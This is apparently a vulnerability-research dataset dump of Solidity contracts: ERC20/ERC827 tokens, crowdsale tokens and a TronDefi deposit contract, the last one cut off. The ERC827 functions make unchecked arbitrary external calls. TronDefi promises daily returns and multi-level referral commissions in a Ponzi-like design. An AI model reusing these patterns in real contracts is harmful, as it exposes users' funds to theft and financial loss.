function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Recoverable is Ownable {
/// @dev Empty constructor (for now)
function Recoverable() {
}
/// @dev This will be invoked by the owner, when owner wants to rescue tokens
/// @param token Token which will we rescue to the owner from the contract
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
/// @dev Interface function, can be overwritten by the superclass
/// @param token Token which balance we will check and return
/// @return The amount of tokens (in smallest denominator) the contract owns
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
contract StandardTokenExt is StandardToken, ERC827Token, Recoverable {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract BurnableToken is StandardTokenExt {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = balances[burner].sub(burnAmount);
totalSupply_ = totalSupply_.sub(burnAmount);
Burned(burner, burnAmount);
// Inform the blockchain explores that track the
// balances only by a transfer event that the balance in this
// address has decreased
Transfer(burner, BURN_ADDRESS, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
// Take tokens out from circulation
totalSupply_ = totalSupply_.sub(value);
totalUpgraded = totalUpgraded.add(value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply_) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is StandardTokenExt {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableToken is StandardTokenExt {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply_ = totalSupply_.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
// This will make the mint transaction apper in EtherScan.io
// We can remove this after there is a standardized minting event
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
// Only crowdsale contracts are allowed to mint new tokens
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
// Create any address, can be transferred
// to team multisig via changeOwner(),
// also remember to call setUpgradeMaster()
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply_ = _initialSupply;
decimals = _decimals;
// Create initially all balance on the team multisig
balances[owner] = totalSupply_;
if(totalSupply_ > 0) {
Minted(owner, totalSupply_);
}
// No more new supply allowed after the token creation
if(!_mintable) {
mintingFinished = true;
if(totalSupply_ == 0) {
throw; // Cannot create a token without supply and no minting
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken {
function BurnableCrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
}
| 183,285 | 11,727 |
81ea200ac3de07c4ea8bf955a315f1f87a7d77ef93e32c1b43ec65692eaccb0e
| 13,087 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKHdJMC6RTwctXVsCTTBErVYBGMuBChef8_TronDefi.sol
| 3,599 | 12,987 |
//SourceUnit: DefiProd.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b != 0, errorMessage);
return a % b;
}
function take(uint256 a, uint256 percents) internal pure returns(uint256) {
return div(mul(a, percents), 100);
}
}
contract AccountChangable {
address supervisor;
address EMPTY_ADDRESS = address(0);
mapping(address => address) oldToNew;
mapping(address => address) newToOld;
mapping(address => address) requests;
constructor() public { supervisor = msg.sender; }
event ChangeAddressRequest(address oldAddress, address newAddress);
event ApproveChangeAddressRequest(address oldAddress, address newAddress);
function getOriginalAddress(address someAddress) public view returns(address) {
if (newToOld[someAddress] != EMPTY_ADDRESS) return newToOld[someAddress];
return someAddress;
}
function isReplaced(address oldAddress) internal view returns(bool) {
return oldToNew[oldAddress] != EMPTY_ADDRESS;
}
function isNewAddress(address newAddress) public view returns(bool) {
return newToOld[newAddress] != EMPTY_ADDRESS;
}
function getCurrentAddress(address someAddress) internal view returns(address) {
if (oldToNew[someAddress] != EMPTY_ADDRESS) return oldToNew[someAddress];
return someAddress;
}
function requestUpdateAddress(address newAddress) public {
requests[msg.sender] = newAddress;
emit ChangeAddressRequest(msg.sender, newAddress);
}
function accept(address oldAddress, address newAddress) public {
require(msg.sender == supervisor, 'ONLY SUPERVISOR');
require(newAddress != EMPTY_ADDRESS, 'NEW ADDRESS MUST NOT BE EMPTY');
require(requests[oldAddress] == newAddress, 'INCORRECT NEW ADDRESS');
requests[oldAddress] = EMPTY_ADDRESS;
oldToNew[oldAddress] = newAddress;
newToOld[newAddress] = oldAddress;
emit ApproveChangeAddressRequest(oldAddress, newAddress);
}
}
contract TronDefi is AccountChangable {
using SafeMath for uint256;
string public version = '1.0.0';
uint256 ONE_DAY = 86400;
uint256[] directCommissionRates = [0, 5, 3, 2, 2, 2, 2, 1, 1, 1, 1];
mapping(address => uint256) systemRates;
address rootAdmin;
uint256 ROOT_LEVEL = 1;
uint256 LEADER_LEVEL = 2;
uint256 investmentCount = 0;
uint256 withdrawalCount = 0;
uint256 skippedTime = 0;
mapping(uint256 => Investment) investments;
mapping(address => Investor) investors;
modifier mustNotBeReplacedAddress() {
require(!isReplaced(msg.sender), 'REPLACED ADDRESS');
_;
}
modifier mustBeRootAdmin() {
require(!isReplaced(msg.sender), 'REPLACED ADDRESS');
require(getOriginalAddress(msg.sender) == rootAdmin, 'ONLY ADMIN');
_;
}
event CreateInvestor(address investorAddress, address presenterAddress, uint256 level, uint256 createdAt);
struct Investor {
address investorAddress;
address presenterAddress;
uint256 level;
uint256 deposited;
uint256 withdrew;
uint256 commission;
uint256[] investments;
}
event CreateInvestment(uint256 investmentId, address investorAddress, uint256 amount, uint256 createdAt);
event CreateWithdrawal(uint256 withdrawalId, address investorAddress, uint256 amount, uint256 createdAt);
struct Investment {
uint256 investmentId;
address investorAddress;
uint256 amount;
uint256 createdAt;
}
constructor(address rootAddress) public {
rootAdmin = rootAddress;
uint256 FIRST_LEVEL = 1;
createInvestor(rootAddress, EMPTY_ADDRESS, FIRST_LEVEL);
}
function createInvestor(address investorAddress, address presenterAddress, uint256 level) internal {
investors[investorAddress] = Investor({
investorAddress: investorAddress,
presenterAddress: presenterAddress,
level: level,
deposited: 0,
withdrew: 0,
commission: 0,
investments: new uint256[](0)
});
emit CreateInvestor(investorAddress, presenterAddress, level, getNow());
}
function createInvestment(uint256 index, address investorAddress, uint256 amount, uint256 createdAt) internal {
uint256 investmentId = index;
investments[investmentId] = Investment({
investmentId: investmentId,
investorAddress: investorAddress,
amount: amount,
createdAt: createdAt
});
investors[investorAddress].investments.push(investmentId);
emit CreateInvestment(investmentId, investorAddress, amount, createdAt);
}
function payDirectCommission(address investorAddress, uint256 depositAmount) internal {
uint256 maxLoopTime = directCommissionRates.length.sub(1);
address childAddress = investorAddress;
for (uint256 count = 1; count <= maxLoopTime; count = count.add(1)) {
address presenterAddress = investors[childAddress].presenterAddress;
Investor memory presenter = investors[presenterAddress];
uint256 percents = directCommissionRates[count];
pay(presenterAddress, depositAmount.take(percents));
childAddress = presenter.investorAddress;
}
}
function paySystemCommission(address investorAddress, uint256 depositAmount) internal {
uint256 MAX_SYSTEM_COMMISSION_RATE = 5;
uint256 MAX_COMMISSION = depositAmount.take(MAX_SYSTEM_COMMISSION_RATE);
address leaderAddress = getLeader(investorAddress);
uint256 systemRate = systemRates[leaderAddress];
uint256 commissionForLeader = MAX_COMMISSION.take(systemRate);
pay(leaderAddress, commissionForLeader);
pay(rootAdmin, MAX_COMMISSION - commissionForLeader);
}
function getDailyIncome(address investorAddress) internal view returns(uint256) {
uint256[] memory investmentIds = investors[investorAddress].investments;
uint256 length = investmentIds.length;
uint256 result = 0;
for (uint256 index = 0; index < length; index = index.add(1)) {
Investment memory investment = investments[investmentIds[index]];
uint256 dayCount = getNow().sub(investment.createdAt).div(ONE_DAY);
result = result.add(investment.amount.take(dayCount));
}
return result;
}
function getLeader(address investorAddress) internal view returns(address) {
address currentAddress = investorAddress;
while (true) {
if (isLeader(currentAddress)) return currentAddress;
if (!isInvestorExists(currentAddress)) return EMPTY_ADDRESS;
currentAddress = investors[currentAddress].presenterAddress;
}
}
function verifyDeposit(address investorAddress, uint256 value) internal view {
uint256 MAX = 50000 trx;
uint256 MIN = 500 trx;
require(MIN <= value && value <= MAX, 'INVALID DEPOSIT VALUE');
require(isInvestorExists(investorAddress), 'PLEASE REGISTER FIRST');
}
function hasReadPermissionOnAddress(address targetedAddress) internal view returns(bool) {
address originalAddress = getOriginalAddress(msg.sender);
bool isRootAdmin = originalAddress == rootAdmin;
bool isMyAccount = originalAddress == targetedAddress;
return isRootAdmin || isMyAccount;
}
function withdraw(uint256 amount) public mustNotBeReplacedAddress {
address investorAddress = getOriginalAddress(msg.sender);
require(getWithdrawable(investorAddress) >= amount, 'AMOUNT IS BIGGER THAN WITHDRAWABLE');
Investor storage investor = investors[investorAddress];
investor.withdrew = investor.withdrew.add(amount);
uint256 FEE = 2 trx;
uint160 toAddress = uint160(address(getCurrentAddress(investorAddress)));
require(amount > FEE, 'TOO SMALL AMOUNT');
address(toAddress).transfer(amount.sub(FEE));
investors[rootAdmin].commission = investors[rootAdmin].commission.add(FEE);
withdrawalCount = withdrawalCount.add(1);
emit CreateWithdrawal(withdrawalCount,
investorAddress,
amount,
getNow());
}
function getNow() internal view returns(uint256) {
return skippedTime.add(now);
}
function deposit() public payable {
uint256 value = msg.value;
address investorAddress = getOriginalAddress(msg.sender);
verifyDeposit(investorAddress, value);
payDirectCommission(investorAddress, value);
paySystemCommission(investorAddress, value);
investmentCount = investmentCount.add(1);
createInvestment(investmentCount, investorAddress, value, getNow());
investors[investorAddress].deposited = investors[investorAddress].deposited.add(value);
}
function register(address presenterAddress) public payable {
address investorAddress = msg.sender;
require(isInvestorExists(presenterAddress), 'PRESENTER DOES NOT EXISTS');
require(!isInvestorExists(investorAddress), 'ADDRESS IS USED');
require(!isNewAddress(investorAddress), 'ADDRESS IS USED');
createInvestor(investorAddress,
presenterAddress,
investors[presenterAddress].level.add(1));
if (msg.value != 0) deposit();
}
function setSystemRate(address leaderAddress, uint256 rate) public mustBeRootAdmin {
uint256 MAX = 100;
uint256 MIN = 0;
require(rate <= MAX && rate >= MIN, 'INVALID RATE');
require(isLeader(leaderAddress), 'NOT A LEADER');
systemRates[leaderAddress] = rate;
}
function isInvestorExists(address investorAddress) internal view returns(bool) {
return investors[investorAddress].level != 0;
}
function isLeader(address investorAddress) internal view returns(bool) {
return investors[investorAddress].level == LEADER_LEVEL;
}
function getSystemRate(address leader) public view returns(uint256) {
require(hasReadPermissionOnAddress(leader), 'PERMISSION DENIED');
return systemRates[leader];
}
function pay(address to, uint256 amount) internal {
bool invested = investors[to].deposited > 0;
address receiver = invested ? to : rootAdmin;
investors[receiver].commission = investors[receiver].commission.add(amount);
}
function getWithdrawable(address investorAddress) public view returns(uint256) {
require(hasReadPermissionOnAddress(investorAddress), 'PERMISSION DENIED');
Investor memory investor = investors[investorAddress];
uint256 positive = investor.commission.add(getDailyIncome(investorAddress));
uint256 negative = investor.withdrew;
if (negative > positive) return 0;
return positive.sub(negative);
}
function getInvestor(address investorAddr) public view returns(address investorAddress, address presenterAddress, uint256 level, uint256 deposited, uint256 withdrew, uint256 commission, uint256 withdrawable) {
address originalAddress = getOriginalAddress(investorAddr);
require(hasReadPermissionOnAddress(originalAddress), 'PERMISSION DENIED');
Investor memory investor = investors[originalAddress];
return (investor.investorAddress,
investor.presenterAddress,
investor.level,
investor.deposited,
investor.withdrew,
investor.commission,
getWithdrawable(originalAddress));
}
function getInvestors(address[] memory listAddresses) public view returns (address[] memory investorAddresses, uint256[] memory depositeds, uint256[] memory withdrews, uint256[] memory commissions, uint256[] memory withdrawables) {
uint256 length = listAddresses.length;
investorAddresses = new address[](length);
depositeds = new uint256[](length);
withdrews = new uint256[](length);
commissions = new uint256[](length);
withdrawables = new uint256[](length);
for (uint256 index = 0; index < length; index++) {
Investor memory investor = investors[listAddresses[index]];
investorAddresses[index] = investor.investorAddress;
depositeds[index] = investor.deposited;
withdrews[index] = investor.withdrew;
commissions[index] = investor.commission;
withdrawables[index] = getWithdrawable(listAddresses[index]);
}
return (investorAddresses, depositeds, withdrews, commissions, withdrawables);
}
function () external payable { deposit(); }
}
| 299,994 | 11,728 |
54fbdd793ed3814bd3ae46ab717b2fc199bc810a2c4103a8c339cf7c3ed46546
| 22,466 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/CrowdsaleTokenExt.sol
| 3,489 | 13,390 |
// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
// Only crowdsale contracts are allowed to mint new tokens
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
// This will make the mint transaction apper in EtherScan.io
// We can remove this after there is a standardized minting event
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
// Create any address, can be transferred
// to team multisig via changeOwner(),
// also remember to call setUpgradeMaster()
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
// Create initially all balance on the team multisig
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
// No more new supply allowed after the token creation
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw; // Cannot create a token without supply and no minting
}
}
}
